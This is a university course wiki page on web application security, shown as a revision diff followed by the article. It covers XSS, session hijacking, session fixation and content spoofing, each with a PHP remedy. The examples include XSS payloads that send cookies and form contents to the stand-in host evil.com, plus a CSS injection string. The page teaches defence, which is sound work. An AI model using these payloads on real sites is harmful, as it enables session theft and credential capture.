Difference between revisions of "Web Application Security, Part 3"

From CSE330 Wiki
Jump to navigationJump to search
Line 30: Line 30:
  
 
Everyone viewing the shoutbox will now be automatically forwarded to BuyShoes.com!  The shoe manufacturers will be pleased, but most everyone else will be annoyed.  (Needless to say, XSS can be used for much more malicious things than rogue marketing.)
 
Everyone viewing the shoutbox will now be automatically forwarded to BuyShoes.com!  The shoe manufacturers will be pleased, but most everyone else will be annoyed.  (Needless to say, XSS can be used for much more malicious things than rogue marketing.)
 
==== Solution ====
 
 
You need to escape the output.  In PHP, you can do this using the <code>htmlentities()</code> function:
 
 
<source lang="php">
 
<?php
 
 
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
 
 
while($row=$res->fetch_assoc()){
 
$safe = htmlentities($row["content"]);
 
echo "<p>".$safe."</p>\n";
 
}
 
 
?>
 
</source>
 
 
Now, the script would appear as text to the user, and it will not execute.  This Persistent XSS threat has been put to rest!
 
  
 
=== Reflected XSS ===
 
=== Reflected XSS ===
Line 74: Line 55:
 
Aye yie yie!
 
Aye yie yie!
  
==== Solution for HTML Output ====
+
=== Solution ===
 +
 
 +
==== Example 1: Persistent XSS ====
 +
 
 +
You need to escape the output.  In PHP, you can do this using the <code>htmlentities()</code> function:
 +
 
 +
<source lang="php">
 +
<?php
 +
 
 +
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
 +
 
 +
while($row=$res->fetch_assoc()){
 +
$safe = htmlentities($row["content"]);
 +
echo "<p>".$safe."</p>\n";
 +
}
 +
 
 +
?>
 +
</source>
 +
 
 +
Now, the script would appear as text to the user, and it will not execute.  This Persistent XSS threat has been put to rest!
 +
 
 +
==== Example 2: Reflected XSS ====
  
To fix this, we again need to escape output:
+
We again need to escape output:
  
 
<source lang="php">
 
<source lang="php">
Line 92: Line 94:
 
==== Escaping for Non-HTML Output ====
 
==== Escaping for Non-HTML Output ====
  
'''htmlentities()''' and its charset-dependent cousin '''htmlspecialchars()''' escape output that is save for HTML.  '''''THEY DO NOT ESCAPE OUTPUT THAT IS SAFE FOR INCLUSION IN JAVASCRIPT OR CSS.'''''  For example, the following page is vulnerable to an XSS attack:
+
'''htmlentities()''' and its charset-dependent cousin '''htmlspecialchars()''' escape output that is save for HTML.  '''''THEY DO NOT RETURN STRINGS THAT ARE SAFE FOR INCLUSION IN JAVASCRIPT OR CSS.'''''  For example, the following page is vulnerable to an XSS attack:
  
 
<source lang="php">
 
<source lang="php">

Revision as of 08:53, 28 September 2012

This is Part 3 of the Web Application Security article, geared toward the material covered in Module 4. For material covered in Module 2 (HTML, CSS, and PHP), see Web Application Security, Part 1. For material covered in Module 3 (MySQL), see Web Application Security, Part 2.

Cross-Site Scripting

Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.

There are two types of XSS attacks: persistent and reflected.

Persistent XSS

Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.

For example, consider this code:

<?php

$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

while($row=$res->fetch_assoc()){
	echo "<p>".$row["content"]."</p>\n";
}

?>

In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker, a computer specialist on contract for BuyShoes.com, typed the following code into the shoutbox:

<script> document.location.href = "http:/www.BuyShoes.com/"; </script>

Everyone viewing the shoutbox will now be automatically forwarded to BuyShoes.com! The shoe manufacturers will be pleased, but most everyone else will be annoyed. (Needless to say, XSS can be used for much more malicious things than rogue marketing.)

Reflected XSS

Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.

For example, consider the code:

<?php

echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";

?>

This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:

http://www.bank.com/history.php?username=mothergoose+%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fwww.evil.com%2Frecord_cookie%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E

In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:

<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>

Aye yie yie!

Solution

Example 1: Persistent XSS

You need to escape the output. In PHP, you can do this using the htmlentities() function:

<?php

$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");

while($row=$res->fetch_assoc()){
	$safe = htmlentities($row["content"]);
	echo "<p>".$safe."</p>\n";
}

?>

Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!

Example 2: Reflected XSS

We again need to escape output:

<?php

$html_safe_username = htmlentities($_GET['username']);

echo "<h1>Transaction History for: " . $html_safe_username . "</h1>\n";

?>

And now our Reflected XSS vulnerability has been put to rest.

Escaping for Non-HTML Output

htmlentities() and its charset-dependent cousin htmlspecialchars() escape output that is save for HTML. THEY DO NOT RETURN STRINGS THAT ARE SAFE FOR INCLUSION IN JAVASCRIPT OR CSS. For example, the following page is vulnerable to an XSS attack:

<?php
$html_safe_color = htmlentities($_GET['color']);

printf("<style type='text/css'> #box{ color: %s; } </style>", $html_safe_color);
?>

The expected input would probably be something like #ff0033 (an 8-bit RGB color). However, an attacker could feed the following string into $_GET['color']:

#ff0033; z-index:100; top:0; left:0; bottom:0; right:0; position:fixed; background-image:url(http://www.buyshoes.com/ad.png)

The resulting output would be:

<style type="text/css"> #box{ color: #ff0033; z-index:100; top:0; left:0; bottom:0; right:0;
position:fixed; background-image:url(http://www.buyshoes.com/ad.png); } </style>

This would create an advertisement for shoes that would fill the entire browser screen and never go away!

Solution

Whenever you give output from PHP, you need to remember the context in which the output is going. In the CSS proof of concept above, since you know the format you're expecting for the color, the solution would have been to run the color through a regular expression:

<?php

$safe_color = preg_match('/^\#[0-9a-f]{6}$/', $_GET['color']) ? $_GET['color'] : "#000000";

printf("<style type='text/css'> #box{ color: %s; } </style>", $safe_color);

?>

A helpful function for escaping in JavaScript input is addslashes().

Real-Life Examples

Session Hijacking

Session Hijacking is when an attacker captures an established session identifier, and then uses that identifier to browse the targeted site under the victim’s identity. The capturing process is often done via XSS. For instance, suppose Dr. Evil posted the following comment in a Shoutbox:

How about them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?" + encodeURIComponent(document.cookie); </script>

Everyone viewing the shoutbox will now see Dr. Evil's shout, but they will also unwittingly have their cookies sent to Dr. Evil's server. Since cookies contain the Session ID, Dr. Evil can use that Session ID to surf the targeted site under anyone's identity.

Solution

First, prevent XSS. Once you've done that, there are some extra things you can do to fend off session hijackers.

HTTP-Only Cookies

The first is to use the HTTP Only option on cookies, which prevents cookies from being read by JavaScript (and therefore by XSS). To do this, you can change the session.cookie_httponly option in php.ini, or you can just use ini_set() before you start your session:

<?php

ini_set("session.cookie_httponly", 1);

session_start();

?>

Disclaimer: The HTTP Only option is relatively new in browsers, so customers using older browsers will not enjoy the extra protection.

User Agent Consistency

A second thing you can do to help prevent session hijacking is to check the HTTP User Agent between requests. Since cookies are sandboxed inside a browser, and a browser's user agent doesn't change unless it is rebooted (except in edge cases), then the user agent should always be consistent throughout a session.

You can test for HTTP User Agent consistency like this:

<?php

session_start();

$previous_ua = @$_SESSION['useragent'];
$current_ua = $_SERVER['HTTP_USER_AGENT'];

if(isset($_SESSION['useragent']) && $previous_ua !== $current_ua){
	die("Session hijack detected");
}else{
	$_SESSION['useragent'] = $current_ua;
}

?>

Session Fixation

One word you might hear in the web application security community is session fixation. In many ways, this is the opposite of session hijacking: rather than the attacker taking on the victim's identity, the attacker forces the victim into taking on an identity of the attacker's choice.

Fortunately, PHP's cookie-based sessions are not as vulnerable to session fixation attacks as are sessions that are passed through the URL. The same measures that you use to prevent session hijacking should also prevent session fixation.

There is one thing you can do to help mitigate session fixation, though, and it's also good practice: change the name of the default PHP session ID cookie. To do this, use the function session_name() in PHP, or change the session.name directive in php.ini.

Real-Life Examples

Application-level session hijacking is not an attack vector frequently observed by high-profile companies, although any site vulnerable to XSS is probably vulnerable to application-level session hijacking.

On the other hand, packet-sniffing session hijacking attacks have numerous examples. For more information, see Packet Sniffing.

Content Spoofing

Content Spoofing is when an attacker attempts to mimic the functionality on your site. Phishing is when an attacker uses content spoofing to mine information from victims. For example, victims may log in to the attacker's site, believing that it is your site, giving the attacker the victims' usernames and passwords.

Content spoofing is frequently performed by using misleading URLs. For instance, consider the following:

  • www.bank.com.tr/ansfer.php
  • www.bank.com/transfer.php

However, content spoofing can also be performed when there is an XSS vulnerability in your site. If the XSS is Reflected, the injected code could forward to an attacker's site, even though the link belongs to your site. If the XSS is Persistent, the attacker could either re-write your site or simply modify the Form prototype to send all form data to the attacker's server before submitting the form (that is, at least when the form is submitted using JavaScript):

<script> var old_sub=HTMLFormElement.prototype.submit; HTMLFormElement.prototype.submit = function(){ new Image().src = "http://www.evil.com/?"+encodeURIComponent(this.innerHTML); old_sub.apply(this, arguments); } </script>

Worse yet, the attacker could just change the "action" on the form to simply send the information to his servers instead of to your servers. Do you see now how preventing XSS will also prevent several other types of web application attack vectors?

Solution

Content Spoofing is largely out of your control as a web developer. You should give users a way to confirm that your site is legitimate. For example, when logging in to your site, you could have users put in their username first, then show the user a picture associated with their account before asking them to put in their password. (Or just use OpenID.)

Real-Life Examples